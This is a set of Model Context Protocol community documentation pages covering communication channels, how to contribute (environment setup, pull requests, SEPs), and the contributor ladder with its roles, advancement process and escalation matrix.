| SEP triage & closure (in scope) | WG Leads (autonomous, with documented rationale) |
| Technical design within scope | WG consensus |
| Spec changes (additive) | WG consensus → Core Maintainer approval |
| Spec changes (breaking/fundamental) | WG consensus → Core Maintainer approval + wider review |
| Scope expansion | Core Maintainer approval required |
| WG Member approval | WG Member sponsors |
## Membership
| Name | Organization | GitHub | Discord | Level |
| ---- | ------------ | ------ | ------- | ----- |
| | | | | |
## Operations
| Meeting | Frequency | Duration | Purpose |
| --------------- | --------- | -------- | ------------------------------------- |
| Working Session | | | Technical discussion, proposal review |
| Office Hours | | | Open Q&A for newcomers and observers |
## Deliverables & Success Metrics (WG only)
### Active Work Items
| Item | Status | Target Date | Champion |
| ------------- | ------------------------- | ----------- | -------- |
| SEP-XXX: Name | Draft / Review / Approved | | |
### Success Criteria
## Changelog
| Date | Change |
| ---- | ------ |
| | |
```
***
## Example Mission Statements
**Working Group:**
> The Transport Working Group exists to evolve MCP's transport mechanisms to support diverse deployment scenarios—from local subprocess communication to horizontally-scaled cloud deployments—while maintaining protocol coherence and backward compatibility.
**Interest Group:**
> The Enterprise IG explores the challenges of deploying MCP in enterprise environments, gathering use cases and requirements to inform future specification work.
# Contributor Communication
Source: https://modelcontextprotocol.io/community/communication
Communication strategy and framework for the Model Context Protocol community
This document explains how to communicate and collaborate within the Model Context Protocol (MCP) project.
## Communication Channels
| Channel | Purpose | When to Use |
| ----------------------------------------------------------------------------------------------------------- | --------------------- | ------------------------------------------------ |
| [Discord](https://discord.gg/6CSzBmMkjX) | Real-time discussion | Quick questions, coordination, WG/IG discussions |
| [Live calls](https://meet.modelcontextprotocol.io/) | Sync up | WG/IG presentations, progress reports |
| [GitHub Discussions](https://github.com/modelcontextprotocol/modelcontextprotocol/discussions) | Structured discussion | Proposals, roadmap planning, longer-form debate |
| [GitHub Issues](https://github.com/modelcontextprotocol/modelcontextprotocol/issues) | Actionable tasks | Bug reports, documentation fixes |
| [Vulnerability reports](https://github.com/modelcontextprotocol/modelcontextprotocol/blob/main/SECURITY.md) | Security issues | Vulnerabilities - **never post publicly** |
All communication is governed by our [Code of Conduct](https://github.com/modelcontextprotocol/modelcontextprotocol/blob/main/CODE_OF_CONDUCT.md). We expect respectful, professional, and inclusive interactions across all channels.
## Discord
The [MCP Contributor Discord](https://discord.gg/6CSzBmMkjX) is for real-time contributor discussion and collaboration. The server is designed for **MCP contributors** and is not intended for general MCP support.
### Public Channels (Default)
**Purpose:** Open community engagement, collaborative development, and transparent project coordination.
**Primary use cases:**
* SDK and tooling development (e.g., `#typescript-sdk-dev`, `#inspector-dev`)
* [Working Group and Interest Group](/community/working-interest-groups) discussions (e.g., `#auth-wg`, `#security-ig`)
* Community onboarding and contribution guidance
* Community feedback and collaborative brainstorming
* Public office hours and maintainer availability
**Avoid:**
* MCP user support - Read official documentation and use GitHub Discussions for questions
* Service or product marketing - Keep discussions vendor-neutral; mentions of brands are discouraged except as examples relevant to the specification
### Private Channels (Exceptions)
**Purpose:** Confidential coordination and sensitive matters. Access is restricted to designated maintainers.
**Criteria for private use:**
* Security incidents (CVEs, protocol vulnerabilities)
* People matters (maintainer discussions, code of conduct issues)
* Coordination requiring immediate or focused response with a limited audience
* Some channels are read-only for maintainer decision-making
**Transparency requirements:**
* All technical and governance decisions affecting the community must be documented in GitHub Discussions and/or Issues, labeled with `notes`
* Private channels are temporary "incident rooms," not for routine development
* Some matters related to individual contributors may remain private when appropriate
Any significant discussion on Discord that leads to a potential decision or proposal must be moved to GitHub Discussion or Issue for a persistent, searchable record.
## GitHub Discussions
Use for structured, long-form discussion and debate on project direction.
**When to use:**
* Project roadmap planning and milestone discussions
* Announcements and release communications
* Community polls and consensus-building
* Feature requests with context and rationale
* If a repository doesn't have Discussions enabled, use GitHub Issues instead
## GitHub Issues
Use for bug reports and actionable development tasks. Feature requests should go to [GitHub Discussions](https://github.com/modelcontextprotocol/modelcontextprotocol/discussions).
**When to use:**
* Bug reports with reproducible steps
* Documentation improvements with specific scope
* CI/CD problems and infrastructure issues
* Release tasks and milestone tracking
**Note:** SEP proposals are submitted as pull requests to the [`seps/` directory](https://github.com/modelcontextprotocol/modelcontextprotocol/tree/main/seps), not as GitHub Issues. See the [SEP Guidelines](/community/sep-guidelines).
## Security Issues
**Do not post security issues publicly.**
1. Use the private security reporting process in [SECURITY.md](https://github.com/modelcontextprotocol/modelcontextprotocol/blob/main/SECURITY.md)
2. Contact Lead or [Core Maintainers](/community/governance#current-core-maintainers) directly
3. Follow responsible disclosure guidelines
## Decision Records
All MCP decisions are documented in public channels:
| Type | Location |
| --------------------- | --------------------------------------------------------------------------------------------- |
| Technical decisions | [GitHub Issues](https://github.com/modelcontextprotocol/modelcontextprotocol/issues) and SEPs |
| Specification changes | [Changelog](https://modelcontextprotocol.io/specification/draft/changelog) |
| Process changes | [Community documentation](https://modelcontextprotocol.io/community/governance) |
| Governance decisions | [GitHub Issues](https://github.com/modelcontextprotocol/modelcontextprotocol/issues) and SEPs |
When documenting decisions, we retain as much context as possible:
* Decision makers
* Background context and motivation
* Options considered
* Rationale for chosen approach
* Implementation steps
# Contributing to MCP
Source: https://modelcontextprotocol.io/community/contributing
How to contribute to the Model Context Protocol project
The Model Context Protocol (MCP) is an open source project that welcomes contributions from the
community. This guide walks you through everything you need to get started.
## Before You Begin
### Prerequisites
Before contributing, ensure you have the following installed and ready:
* **[Git](https://git-scm.com/downloads)** - For cloning repositories and submitting changes
* **[Node.js 24+](https://nodejs.org/)** - Required for building and testing our projects
* **npm** - Comes with Node.js, used for dependency management
* **[GitHub account](https://github.com/signup)** - For submitting pull requests and issues
* **Language-specific tooling** - If contributing to an SDK, you'll need the appropriate
development environment for that language (e.g., Python, Rust, Go)
Verify your setup:
```bash theme={null}
node --version # Should be 24.x or higher
npm --version # Should be 11.x or higher
git --version # Any recent version
```
These commands work the same on macOS, Linux, and Windows, so you're good to
go on any platform.
### Repository Structure
MCP spans multiple repositories in the
[`modelcontextprotocol`](https://github.com/modelcontextprotocol) organization on GitHub. Here are
a few notable sub-projects worth checking out:
| Repository | Contents |
| ----------------------------------------------------------------------------------------------------------- | ------------------------- |
| [`modelcontextprotocol/modelcontextprotocol`](https://github.com/modelcontextprotocol/modelcontextprotocol) | Specification, docs, SEPs |
| [`modelcontextprotocol/typescript-sdk`](https://github.com/modelcontextprotocol/typescript-sdk) | TypeScript/JavaScript SDK |
| [`modelcontextprotocol/python-sdk`](https://github.com/modelcontextprotocol/python-sdk) | Python SDK |
| [`modelcontextprotocol/go-sdk`](https://github.com/modelcontextprotocol/go-sdk) | Go SDK |
| [`modelcontextprotocol/java-sdk`](https://github.com/modelcontextprotocol/java-sdk) | Java SDK |
| [`modelcontextprotocol/kotlin-sdk`](https://github.com/modelcontextprotocol/kotlin-sdk) | Kotlin SDK |
| [`modelcontextprotocol/csharp-sdk`](https://github.com/modelcontextprotocol/csharp-sdk) | C# SDK |
| [`modelcontextprotocol/swift-sdk`](https://github.com/modelcontextprotocol/swift-sdk) | Swift SDK |
| [`modelcontextprotocol/rust-sdk`](https://github.com/modelcontextprotocol/rust-sdk) | Rust SDK |
| [`modelcontextprotocol/ruby-sdk`](https://github.com/modelcontextprotocol/ruby-sdk) | Ruby SDK |
| [`modelcontextprotocol/php-sdk`](https://github.com/modelcontextprotocol/php-sdk) | PHP SDK |
Throughout this guide, **specification repository** refers to
`modelcontextprotocol/modelcontextprotocol`, which contains the protocol spec, this documentation
site, and [Spec Enhancement Proposals (SEPs)](/community/sep-guidelines).
### Project Roles
MCP follows a [governance model](/community/governance) with different levels of responsibility:
* **Contributors** - Anyone who files issues, submits PRs, or participates in discussions (that's
you!)
* **Maintainers** - Steward specific areas like SDKs, documentation, or
[Working Groups](/community/working-interest-groups)
* **Core Maintainers** - Guide overall project direction, review SEPs, and oversee the specification
You can find the current list of maintainers in the
[`MAINTAINERS.md`](https://github.com/modelcontextprotocol/modelcontextprotocol/blob/main/MAINTAINERS.md)
file.
Maintainers are here to help you succeed! Don't hesitate to reach out if you have questions or
need guidance on your contribution.
## Your First Contribution
Start here if you are new to MCP and contributing to its ecosystem.
While we use the specification repository as an example, the key patterns are
applicable to other MCP repos as well.
### Step 1: Set Up Your Environment
Set up your local environment so you can test and validate changes before submitting them.
Click the **Fork** button on the [repository page](https://github.com/modelcontextprotocol/modelcontextprotocol) to create your own copy. This gives you a personal workspace where you can make changes without affecting the main project.
```bash theme={null}
git clone https://github.com/YOUR-USERNAME/modelcontextprotocol.git
cd modelcontextprotocol
```
Replace `YOUR-USERNAME` with your GitHub username.
```bash theme={null}
npm install
```
This installs the tools needed for schema generation, documentation building, and validation.
```bash theme={null}
npm run check
```
This runs TypeScript compilation, schema validation, example validation, documentation link checks, and formatting checks. If everything passes, your environment is good and you're ready to contribute.
If `npm run check` fails, see [Troubleshooting](#troubleshooting) below.
### Step 2: Find Something to Work On
While a lot of the items you might see tracked in the repository can feel intimidating, especially
for newcomers, there are plenty of places where you can start with your first improvements:
1. **Documentation improvements** - Help us fix typos, unclear explanations, broken links, or
incomplete examples
2. **Issues labeled `good first issue`** - Tackle issues tagged in the
[specification repo](https://github.com/modelcontextprotocol/modelcontextprotocol/issues?q=is%3Aissue+is%3Aopen+label%3A%22good+first+issue%22)
as well as our SDK repos
3. **Schema examples** - Add examples to `schema/draft/examples/` to make it easier for developers
to understand protocol primitives
### Step 3: Make Your Change
Create your changes in a dedicated branch.
```bash theme={null}
git checkout -b fix/your-description
```
Use a descriptive branch name that reflects your change, like `fix/typo-in-tools-doc` or `feat/add-example-for-resources`.
Edit the relevant files in your local copy. If you're editing schema files, remember to run `npm run generate:schema` to regenerate the JSON schema and documentation.
```bash theme={null}
npm run check
```
Fix any issues before committing. If you have formatting errors, `npm run format` can auto-fix most of them.
```bash theme={null}
git commit -m "Fix typo in tools documentation"
```
Write a concise message that describes what you changed and why. Reference issue numbers if applicable (e.g., `Fix typo in tools documentation (#123)`).
### Step 4: Submit a Pull Request
When you're ready, push your branch and open a pull request.
```bash theme={null}
git push origin fix/your-description
```
You can use the [GitHub CLI](https://cli.github.com/) to make this process easier:
```bash theme={null}
gh pr create --fill
```
Alternatively, navigate to your fork on GitHub and click **Compare & pull request**.
Provide a clear description of your changes and link any related issues.
Maintainers typically respond within 1-5 business days.
That's it, **congratulations on your first contribution**! Every improvement,
no matter how small, helps make MCP better for everyone.
### What Makes a Good Contribution
Help us review your contribution quickly by following these patterns:
| Harder to Review | Thoughtful and Impactful |
| -------------------------------------------- | ------------------------------------------------ |
| Large PR with unrelated changes | Focused PR addressing one issue |
| Reformatting code without functional changes | Fixing a bug with a clear explanation |
| Vague commit messages ("fixed stuff") | Descriptive commits linking to issues |
| Submitting with failing CI checks | All CI tests pass before requesting review |
| Duplicating existing documentation | Documenting an undocumented feature or edge case |
## Types of Contributions
Different contributions follow different processes depending on their scope.
Not sure which category your change falls into? Ask in the [MCP Contributor
Discord](/community/communication#discord) before starting any significant
work.
### Small Changes (Direct PR)
Simply submit a pull request directly to the repo for:
* Bug fixes and typo corrections
* Documentation improvements, such as bringing clarity to an ambiguous or unclear section
* Adding examples to existing features
* Minor schema fixes that don't materially change the specification or SDK behavior
* Test improvements
### Major Changes (SEP Required)
Anything that changes the MCP specification requires following the
[Specification Enhancement Proposal (SEP)](/community/sep-guidelines) process. This includes, but
is not limited to:
* New protocol features or API methods
* Breaking changes to existing behavior
* Changes to the message format or schema structure
* New interoperability standards
* Governance or process changes
Here are a few concrete examples of what would require following the SEP steps:
* Adding a new RPC method like `tools/execute`
* Changing how authentication and authorization works
* Adding a new capability negotiation field
* Modifying the transport layer specification
## Working with the Specification Repository
Once you've determined [what type of contribution](#types-of-contributions) you're making, here's
how to work with the specification repository.
### Schema Changes
The TypeScript schema (`schema/draft/schema.ts`) is the **source of truth** for the protocol. It
defines every message type, request/response structure, and primitive (tools, resources, prompts)
that clients and servers exchange. SDK implementers across all languages rely on this schema to
build conformant implementations.
When you run `npm run generate:schema`, it generates:
* The JSON schema (`schema/draft/schema.json`) for validation
* The Schema Reference documentation (`docs/specification/draft/schema.mdx`)
To modify the schema:
Make your changes in `schema/draft/schema.ts`.
Add JSON examples in `schema/draft/examples/[TypeName]/` (e.g., `Tool/my-example.json`). Reference them in the schema using `@example` + `@includeCode` JSDoc tags.
```bash theme={null}
npm run generate:schema
```
```bash theme={null}
npm run check
```
### Documentation Changes
Docs are written in [MDX format](https://mdxjs.com/) (Markdown with JSX components) and powered by
[Mintlify](https://mintlify.com/). The `docs/` directory contains:
* `docs/docs/` - Guides and tutorials for getting started and building with MCP
* `docs/specification/` - Formal protocol specification (versioned by date)
Here is how you can contribute to our documentation:
```bash theme={null}
npm run serve:docs
```
This launches a live preview at `http://localhost:3000` with hot reloading.
Edit the relevant `.mdx` files. You can use [Mintlify components](https://www.mintlify.com/docs/components) like ``, ``, ``, and `` for richer formatting.
```bash theme={null}
npm run check:docs
```
This validates formatting, broken links, and other common issues.
### Major Protocol Changes
For significant changes, follow the [SEP process](/community/sep-guidelines). Prior to spending a
lot of time on a spec proposal, make sure to follow these best practices.
Discuss in an [Interest Group](/community/working-interest-groups) or on
[Discord](https://discord.gg/6CSzBmMkjX).
Demonstrate practical application of your idea.
A maintainer from the [maintainer
list](https://github.com/modelcontextprotocol/modelcontextprotocol/blob/main/MAINTAINERS.md)
who will champion your proposal.
Follow the [SEP Guidelines](/community/sep-guidelines).
## Working with the SDK Repositories
MCP maintains official SDKs in multiple languages. Contributions are welcome - whether you're
fixing bugs, improving performance, adding features, or enhancing documentation.
Each SDK has its own repository, maintainers, and contribution guidelines.
Some SDKs are maintained in collaboration with larger partner organizations,
such as Google, Microsoft, JetBrains, and others, so processes may vary
slightly between repositories.
### Before Contributing to an SDK
Before diving into code, follow these steps.
Before starting significant work, open an issue to discuss your approach.
This helps avoid duplicate effort, ensures your contribution aligns with the
SDK's direction, and gives maintainers a chance to provide early feedback.
Find the relevant channel in [Discord](https://discord.gg/6CSzBmMkjX) (e.g.,
`#typescript-sdk-dev`, `#python-sdk-dev`).
Each repository has its own `CONTRIBUTING.md` with specific instructions for
setting up your development environment, coding standards, commit message
conventions, and PR requirements.
All contributions should include appropriate test coverage. Bug fixes should
include a test that reproduces the issue, and new features should have tests
covering the expected behavior. This helps maintain SDK reliability and
prevents regressions.
### SDK Repositories
## Getting Help
### Communication Channels
Got questions or need guidance? The MCP community is here to help.
* **[Discord](/community/communication#discord)** - Real-time discussion with contributors and
maintainers, focused on MCP contributions (not general MCP support)
* **[GitHub Discussions](https://github.com/modelcontextprotocol/modelcontextprotocol/discussions)**
\- Exploration and conversation: **feature requests**, questions, roadmap planning, and proposals
that need input before becoming concrete tasks
* **[GitHub Issues](https://github.com/modelcontextprotocol/modelcontextprotocol/issues)** -
Actionable work: bug reports with reproducible steps, documentation fixes, and tasks that are
well-defined and ready to implement (not feature requests)
This separation helps maintainers focus on work that's ready for implementation while giving ideas
room to develop. If you're unsure whether something is ready to be an issue, start with a
discussion. For a complete guide, see our [Contributor Communication](/community/communication)
documentation.
For protocol discussions, join [Working Group](/community/working-interest-groups) channels like
`#auth-wg` or `#server-identity-wg`. For SDK help, find your language's channel (e.g.,
`#typescript-sdk-dev`).
### Finding a Sponsor for SEPs
A **sponsor** is a Core Maintainer or Maintainer who champions your SEP through the review
process. They provide feedback, help refine your proposal, and present it at Core Maintainer
meetings.
Every SEP needs a sponsor to move forward. SEPs that don't find a sponsor
within 6 months are marked as **dormant**. Dormant SEPs aren't rejected
outright - they can be revived later if a sponsor is found or the proposal is
re-assessed to be needed.
To find a sponsor:
Look at the [maintainer
list](https://github.com/modelcontextprotocol/modelcontextprotocol/blob/main/MAINTAINERS.md)
to find maintainers working in your area.
Tag 1-2 relevant maintainers (don't spam everyone).
Post your PR in the relevant Discord channel to increase visibility.
If no response after 2 weeks, ask in `#general` or reach out to a Core
Maintainer.
Maintainers review open proposals regularly, but response time varies based on complexity and
availability.
## Troubleshooting
Sometimes things don't go as planned - that's completely normal! Here are solutions to common
issues. If you're still stuck, don't hesitate to ask for help in
[Discord](/community/communication#discord). The community is friendly and happy to help you get
unstuck.
### `npm run check` fails
Common causes:
* **Wrong Node.js version** - Ensure you have Node.js 24+
* **Missing dependencies** - Run `npm install` again
* **Schema out of sync** - Run `npm run generate:schema`
* **Formatting issues** - Run `npm run format` to auto-fix
### My PR has been sitting unnoticed for weeks
1. Ensure all CI checks pass
2. Politely ping the desired reviewer in a comment
3. Ask in the relevant Discord channel
4. For urgent issues, reach out to a Core Maintainer
### I can't find a sponsor for my SEP
1. Make sure your idea has been discussed in Discord or an Interest Group first
2. Proposals with demonstrated community interest are more likely to find sponsors
3. Consider whether your change might be too large - could it be split into smaller SEPs?
### My SEP was rejected
Don't take it personally - a SEP rejection doesn't mean your idea was bad. SEPs can be rejected
for many reasons: timing, scope, competing priorities, or simply because the protocol isn't ready
for that change yet. The feedback you receive is valuable and often points toward a path forward.
Rejection is not permanent. You have a few options ahead:
1. **Address the feedback and resubmit** - Often, rejection comes with specific concerns.
Addressing those concerns and resubmitting can be the right path forward.
2. **Discuss in Discord** - Talk with maintainers to better understand the concerns. Sometimes a
brief conversation reveals a simpler path forward.
3. **Try a different approach** - Submit a new SEP that addresses the same problem differently,
incorporating what you learned.
4. **Wait for the right moment** - Circumstances change. New use cases emerge, the community
grows, and priorities shift. An idea rejected today might be welcomed tomorrow.
## Out of Scope
This guide covers contributions to the **core MCP project** - the specification, official SDKs,
and documentation.
Building your own MCP servers, clients, or tools is **not** covered here. For guidance on building
with MCP, see our documentation:
* [Build a Server](/docs/develop/build-server)
* [Build a Client](/docs/develop/build-client)
* [Example Servers](/examples)
If you build something you'd like to share with the community, you can submit it to the
[MCP Registry](/registry/about).
## AI Contributions
We welcome the use of AI tools like Claude or ChatGPT to help with your contributions! If you do
use AI assistance, just let us know in your pull request or issue - a quick note about how you
used it (drafting docs, generating code, brainstorming, etc.) is all we need.
The key is that you understand and can stand behind your contribution:
* **You get it** - You understand what the changes do and can explain them
* **You know why** - You can articulate why the change is needed
* **You've verified it** - You've tested or validated that it works as intended
You can read the full policy in
[AI\_POLICY.md](https://github.com/modelcontextprotocol/modelcontextprotocol/blob/main/AI_POLICY.md).
## Code of Conduct
All contributors must follow the
[Code of Conduct](https://github.com/modelcontextprotocol/modelcontextprotocol/blob/main/CODE_OF_CONDUCT.md).
We expect respectful, professional, and inclusive interactions across all channels.
## License
By contributing, you agree that your contributions will be licensed under:
* **Code and specifications**: Apache License 2.0
* **Documentation** (excluding specifications): CC-BY 4.0
See the
[LICENSE](https://github.com/modelcontextprotocol/modelcontextprotocol/blob/main/LICENSE) file for
details.
# Contributor Ladder
Source: https://modelcontextprotocol.io/community/contributor-ladder
Roles, responsibilities, and advancement criteria for MCP contributors, from first contribution to Core Maintainer
The Model Context Protocol contributor ladder defines roles, responsibilities, and advancement criteria for the project. It shows community members how to grow their involvement from a first contribution to project leadership.
This document implements [SEP-2148](/seps/2148-contributor-ladder). For Working Group and Interest Group governance, see [SEP-2149](/seps/2149-working-group-charter-template).
## Guiding Principles
* **Earned Trust.** Advancement follows from demonstrated contributions, good judgment, and sustained engagement. Tenure alone is not enough.
* **Multiple Growth Pathways.** Code, specification work, documentation, and community building all lead to advancement.
* **Transparency.** Criteria for advancement are explicit and applied consistently.
* **Alignment With MCP Goals.** Contributors must show commitment to MCP beyond any single employer's interests.
## Roles at a Glance
| Role | Summary | Key Privileges | Minimum Timeline |
| ----------------------------------------------- | --------------------------------------------- | ------------------------------------------------------------------------- | ----------------------------------------------------- |
| [**Contributor**](#contributor) | Anyone who contributes to MCP | Submit issues, PRs, participate in discussions | Immediate |
| [**Member**](#member) | Established, active contributor | GitHub org membership, triage rights, eligible for WG/IG leadership | 2-3 months of meaningful contributions |
| [**Maintainer**](#maintainer) | Area steward with operational responsibility | Merge rights, release participation | 6+ months as Member |
| [**Core Maintainer**](#core-maintainer) | Technical leadership and protocol stewardship | Final decision authority, governance participation | By invitation after sustained Maintainer contribution |
| [**Lead Maintainer**](#lead-maintainer) | Ultimate project authority (founders) | All Core Maintainer privileges, veto authority, appoints Core Maintainers | Reserved for project founders; succession only |
| [**Community Moderator**](#community-moderator) | CoC enforcement and community health | Moderation rights on community platforms, incident handling | Parallel track: Member status + appointment |
Timelines are minimums, not guarantees. They protect the project from rapid
privilege escalation and ensure a high bar of demonstrated commitment. Actual
advancement is discretionary and may take longer. Exceptions require explicit
Core Maintainer approval with documented rationale.
***
## Contributor
Anyone who has contributed to MCP in any form is a Contributor. This includes opening issues, submitting pull requests, participating in working group discussions, improving documentation, or helping other community members.
**There are no formal requirements.** We welcome all contributions that follow our contributing guidelines.
**Getting started:**
* Review the [Contributing Guide](/community/contributing)
* Join community channels (Discord, GitHub Discussions)
* Look for issues tagged `good-first-issue` or `help-wanted`
* Attend working group meetings
***
## Member
Members are established contributors with a record of ongoing commitment to MCP.
**Requirements:**
* Multiple contributions to MCP (code, documentation, and/or community)
* At least one merged PR or accepted contribution
* Ongoing engagement with the community, not just one-off contributions
* Two-factor authentication enabled on GitHub
* No objections from existing Members within 7 days
**Sponsorship:**
* Sponsored by two existing Members or Maintainers from different organizations, **or**
* Sponsored by one Core Maintainer or Lead Maintainer
**Minimum timeline:** 2-3 months of active participation
**Responsibilities:**
* Continue contributing in good faith
* Respond to assigned issues and PRs
* Follow community guidelines and the code of conduct
* Help onboard new contributors when possible
**Privileges:**
* GitHub organization membership with triage rights
* Can be assigned to issues and PRs
* Can use shortcut approval or review commands on PRs, such as `/lgtm`
* Listed in the community membership roster
* Can create PRs in restricted repositories
* Eligible for Working Group Lead or Interest Group Facilitator roles
**Inactivity:** Members with no contributions for 3 months may be moved to emeritus status. Re-engagement follows a simplified re-familiarization process.
***
## Maintainer
Maintainers are trusted stewards who take operational responsibility for specific areas.
**Requirements:**
* Member for at least 6 months with sustained, high-quality contributions
* Demonstrated leadership in working groups or significant initiatives
* Ability to represent MCP's interests above those of any single employer or organization
* Deep understanding of the MCP vision, roadmap, and design principles
* Understanding of how the area impacts real-world AI integration and model interaction patterns
* Completed security and governance onboarding
**Sponsorship and Approval:**
* Sponsored by an existing Maintainer or Core Maintainer
* Approved by Core Maintainers
**Responsibilities:**
* Own the operational health of the area (test stability, documentation currency)
* Run release processes and milestone planning for the scope
* Provide timely review of escalated decisions
* Participate actively in governance discussions
* Mentor Members and develop future Maintainers
* Represent MCP in external contexts when appropriate
* Engage with the area ecosystem and stakeholders; understand real-world usage and represent community needs
* Ensure proposals reaching Core Maintainers are refined, well-considered, and account for ecosystem-wide impact
* Participate actively in discussions on communication channels (GitHub issues, Discord)
**Privileges:**
* Merge privileges for owned areas
* Can sponsor new Maintainers
* Participate in roadmap and prioritization discussions
* Listed in `MAINTAINERS.md`
**Inactivity:** Maintainers with no contributions for 6 months may be moved to emeritus status following review by Core Maintainers. Merge rights are revoked upon emeritus transition. Re-engagement requires completing security and governance onboarding again.
All contribution pathways can lead to Maintainer. The specific scope will align with the contribution type.
***
## Core Maintainer
Core Maintainers hold final decision-making authority for MCP's technical direction. This is the highest level of trust in the community.
The Core Maintainer role is intentionally limited. This ensures a coherent
technical vision while the project scales. Bandwidth concerns are addressed
through delegation to Maintainers, Working Group Leads, and Interest Group
Facilitators, not by expanding Core Maintainer numbers.
**Requirements:**
* Sustained contribution as Maintainer or similar role over at least 6 months
* Demonstrated judgment on complex, project-wide decisions
* Trust and respect across organizational boundaries
* Deep commitment to MCP's long-term success
**Appointment:**
* Nominated by a majority of Core Maintainers and approved by Lead Maintainers, **or**
* Direct appointment by Lead Maintainers
When evaluating candidates, Core Maintainers should consider whether the current composition adequately represents the breadth of the MCP ecosystem. This includes enterprise adopters deploying MCP in production.
**Responsibilities:**
* Final technical decision authority for contested or cross-cutting issues
* Stewardship of project vision and design principles
* Governance and policy decisions
* External representation of MCP
* Succession planning and community health
* Ensure restraint and sustainability in protocol evolution
* Attend Core Maintainer meetings and meetups
**Privileges:**
* Final approval on breaking changes and major spec revisions
* Voting rights on [SEPs](/community/sep-guidelines)
* Approval of Maintainers
* Governance voting rights and expectation of governance participation
* Administrative rights to all MCP GitHub repositories
* Listed in `MAINTAINERS.md` as Core Maintainer
**Inactivity:** Core Maintainers with no participation in governance or technical decisions for 6 months may be moved to emeritus status following review by Lead Maintainers. Given the visibility of this role, Core Maintainers should proactively communicate reduced availability.
***
## Lead Maintainer
Lead Maintainers hold ultimate authority over MCP's direction and governance. This is a lifetime appointment reserved for project founders. There is no advancement path to this role. It is only assumed through succession (see [Succession](#succession)).
**Responsibilities:**
* All Core Maintainer responsibilities
* Appoint and remove Core Maintainers
* Final authority on contested governance decisions
* Project-wide strategic direction
**Privileges:**
* Can act alone where Core Maintainers require multiple approvals
* Veto authority over any decision
* Appoints successor
### Succession
If a Lead Maintainer leaves the role for any reason, succession begins upon their written notice. If they cannot give notice, the remaining Lead Maintainers or Core Maintainers may determine that the Lead Maintainer is unable to continue serving.
If one or more Lead Maintainers remain, they appoint a successor. If more than one remains, they decide by majority vote. The remaining Lead Maintainers continue to govern until a successor is appointed.
If no Lead Maintainers remain, the Core Maintainers appoint a successor by majority vote within 30 days. Until a new Lead Maintainer is appointed, the project operates by two-thirds vote of Core Maintainers.
***
## Community Moderator
Community Moderators help keep the MCP community healthy, safe, and welcoming. This role focuses on moderation and Code of Conduct enforcement rather than technical contribution.
**Requirements:**
* Member status minimum
* Demonstrated good judgment and composure in community interactions
* Understanding of the MCP Code of Conduct and community guidelines
* Ability to handle sensitive situations with discretion and fairness
**Sponsorship:**
* Sponsored by a Core Maintainer or Lead Maintainer
**Responsibilities:**
* Monitor community channels (Discord, GitHub Discussions, etc.) for Code of Conduct adherence
* Handle Code of Conduct incident reports, including initial triage and response
* Escalate serious or complex incidents to Core Maintainers
* Help maintain a welcoming and inclusive environment
* Coordinate with other moderators to ensure consistent enforcement
* Document moderation actions and maintain confidentiality of incident details
* Recuse from any incident involving them personally; such incidents go directly to Core Maintainers
**Privileges:**
* Moderation rights on community platforms (Discord, GitHub Discussions)
* Access to moderation tools and private moderation channels
* Authority to issue warnings, mute, or temporarily ban users for Code of Conduct violations
* Listed in the community moderator roster
**Relationship to Contributor Ladder:** Community Moderator is a parallel track, not a prerequisite for technical advancement. Moderator experience counts toward any role, especially where community judgment matters. Moderators may hold other roles at the same time (Member, Maintainer, etc.).
**Removal:** Core Maintainers may remove Community Moderators for failure to uphold moderation standards or for Code of Conduct violations. Moderators may step down voluntarily at any time.
***
## Working Group and Interest Group Leadership
Working Group (WG) Leads and Interest Group (IG) Facilitators are a form of community leadership that does not require Maintainer status. WG and IG leadership centers on facilitation and coordination rather than merge authority.
The full governance rules for WGs and IGs are defined in [SEP-2149: MCP Group Governance and Charter Template](/seps/2149-working-group-charter-template). These include participation tiers, decision-making process, meeting requirements, and lifecycle.
**Requirements:**
* Member status minimum
* Demonstrated sustained engagement with the group's scope
* Good facilitation and communication skills
* Ability to represent multiple perspectives fairly
* Group and its leadership sponsored by at least two Core Maintainers or one Lead Maintainer
**Relationship to Contributor Ladder:**
* WG Lead and IG Facilitator experience is valuable for advancement to Maintainer
* Leads and Facilitators without Maintainer status work with Maintainers for merge decisions
* Leads and Facilitators have authority over group operations but not spec approval
* WG Leads and Maintainers may sponsor SEPs
* WG Leads may triage SEPs in their scope area. This includes closing SEPs that do not fit the roadmap. Closures require documented rationale, and authors may appeal to Core Maintainers.
***
## Advancement Process
### Self-Nomination vs. Recognition
Contributors may either:
1. **Self-nominate** when they believe they meet the requirements
2. **Be nominated** by a sponsor who has observed their contributions
Both paths are equally valid. Self-nomination is encouraged. It shows initiative and self-awareness of one's contribution scope.
### Process Steps
1. **Nomination.** The nominee or sponsor opens an issue using the nomination template. It must include links to contributions that demonstrate the requirements, plus sponsor confirmations.
2. **Community Review.** A 7-day period follows for community input.
3. **Decision.** The approving authority reviews and decides.
4. **Onboarding.** The new role-holder receives appropriate access and onboarding.
| Advancement To | Approved By |
| ------------------- | ------------------------------------------------------------------------------- |
| Member | 2 existing Members+ from different organizations, **or** 1 Core/Lead Maintainer |
| Maintainer | 1 Maintainer or Core Maintainer sponsor + Core Maintainer approval |
| Core Maintainer | Lead Maintainers |
| Community Moderator | 1 Core Maintainer or Lead Maintainer |
Nominees who self-nominate must still secure the required sponsorship. Sponsors confirm support in the nomination issue.
***
## Decision-Making and Escalation
### Delegation as Default
MCP operates on a principle of delegation. Decisions should be made at the lowest appropriate level. This lets the project move quickly while preserving Core Maintainer bandwidth for cross-cutting concerns.
* **Maintainers, WG Leads, and IG Facilitators** handle day-to-day decisions within scope.
* **Core Maintainers** intervene on escalation, cross-cutting issues, or when required by process (spec changes, Maintainer approval).
* **Lead Maintainers** intervene only on contested governance decisions or when Core Maintainers cannot reach consensus.
When in doubt, make the decision at your level and document it. Escalate only when blocked, when the decision has project-wide implications, or when process explicitly requires it.
The detailed escalation procedure for Working Group and Interest Group disputes is defined in [SEP-2149 §1.5](/seps/2149-working-group-charter-template). It includes the designation of a Core Maintainer without shared organizational affiliation to resolve the issue.
### Escalation Matrix
| Issue Type | First Escalation | Second Escalation | Timeline |
| ------------------------------------------ | ------------------- | ----------------- | ---------------- |
| Technical disagreement in PR | Maintainer in scope | Core Maintainer | 5 business days |
| Technical disagreement in WG | WG Lead | Core Maintainer | 5 business days |
| Technical disagreement in IG | IG Facilitator | Core Maintainer | 5 business days |
| Disagreement with WG Lead / IG Facilitator | Core Maintainer | Lead Maintainer | 7 business days |
| Disagreement with Maintainer decision | Core Maintainer | Lead Maintainer | 7 business days |
| Core Maintainer disagreement | Lead Maintainer | N/A | 10 business days |
| Code of Conduct violation | Community Moderator | Core Maintainer | Immediate |
